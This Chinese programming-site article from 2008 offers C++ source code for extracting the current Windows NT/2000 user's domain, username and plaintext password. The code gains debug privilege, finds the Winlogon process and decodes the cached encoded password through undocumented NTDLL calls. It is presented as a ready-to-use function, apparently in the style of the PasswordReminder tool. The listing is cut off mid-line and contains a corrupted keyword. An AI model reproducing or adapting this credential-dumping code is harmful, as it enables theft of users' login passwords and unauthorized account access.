WEB开发网
开发学院软件开发C++ C++中获取WinNT/Win2k当前用户名和密码 阅读

C++中获取WinNT/Win2k当前用户名和密码

 2008-03-08 12:32:09 来源:WEB开发网   
核心提示:本文所用的代码原创作者已不知.是ccrun的一个朋友磨刀老头提供给的,在此对作者表示感谢.经ccrun(老妖)在Win2k下试验成功.// 获取WinNT/Win2k当前用户名和密码,调用以下函数即可:// bool GetPassWord(String &strCurrDomain, String &strCurrU

  本文所用的代码原创作者已不知.是ccrun的一个朋友磨刀老头提供给的,在此对作者表示感谢.经ccrun(老妖)在Win2k下试验成功.

// 获取WinNT/Win2k当前用户名和密码,调用以下函数即可:
// bool GetPassWord(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
//---------------------------------------------------------------------------
typedef strUCt _UNICODE_STRING
{
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef struct _QUERY_SYSTEM_INFORMATION
{
  DWORD Grantedaccess;
  DWORD PID;
  WORD HandleType;
  WORD HandleId;
  DWORD Handle;
}QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
  DWORD Count;
  DWORD Unk04;
  DWORD Unk08;
}PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
  DWORD LoadAddress;
  DWORD Size;
  DWORD Unk08;
  DWORD Enumerator;
  DWORD Unk10;
  char Name [0x108];
}PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
  DWORD HashByte;
  DWORD Unk04;
  DWORD Unk08;
  DWORD Unk0C;
  FILETIME LoggedOn;
  DWORD Unk18;
  DWORD Unk1C;
  DWORD Unk20;
  DWORD Unk24;
  DWORD Unk28;
  UNICODE_STRING EncodedPassword;
}ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT(void);
BOOL IsWin2K(void);
BOOL AddDebugPrivilege(void);
DWORD FindWinLogon(void);
BOOL LocatePasswordPageWinNT(DWORD, PDWORD);
BOOL LocatePasswordPageWin2K(DWORD, PDWORD);
void ReturnWinNTPwd(String &, String &, String &);
void ReturnWin2kPwd(String &, String &, String &);
bool GetPassword(String &, String &, String &);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION    pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER    pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER   pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING   pfnRtlRunDecodeUnicodeString;

DWORD dwPwdLen = 0;
PVOID pvRealPwd = NULL;
PVOID pvPwd = NULL;
DWORD dwHashByte = 0;
wchar_t wszUserName[0x400];
wchar_t wszUserDomain[0x400];
//---------------------------------------------------------------------------
bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
    if(!IsWinNT() && !IsWin2K())
  {
    // 只适合于2000或者XP
    return false;
  }
  // Add debug privilege to PasswordReminder -
  // this is needed for the search for Winlogon.
  if(!AddDebugPrivilege())
  {
    // 不能够添加debug特权
    return false;
  }
  // debug特权已经成功加入到本程序
  HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
  pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)
      GetProcAddress(hNtDll,"NtQuerySystemInformation");
  pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)
      GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");
  pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION)
      GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");
  pfnRtlDestroyQueryDebugBuffer =  (PFNRTLDESTROYQUERYDEBUGBUFFER)
      GetProcAddress(hNtDll,"RtlDestroyQueryDebugBuffer");
  pfnRtlRunDecodeUnicodeString =(PFNTRTLRUNDECODEUNICODESTRING)
      GetProcAddress(hNtDll,"RtlRunDecodeUnicodeString

Tags:获取 WinNT Win

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接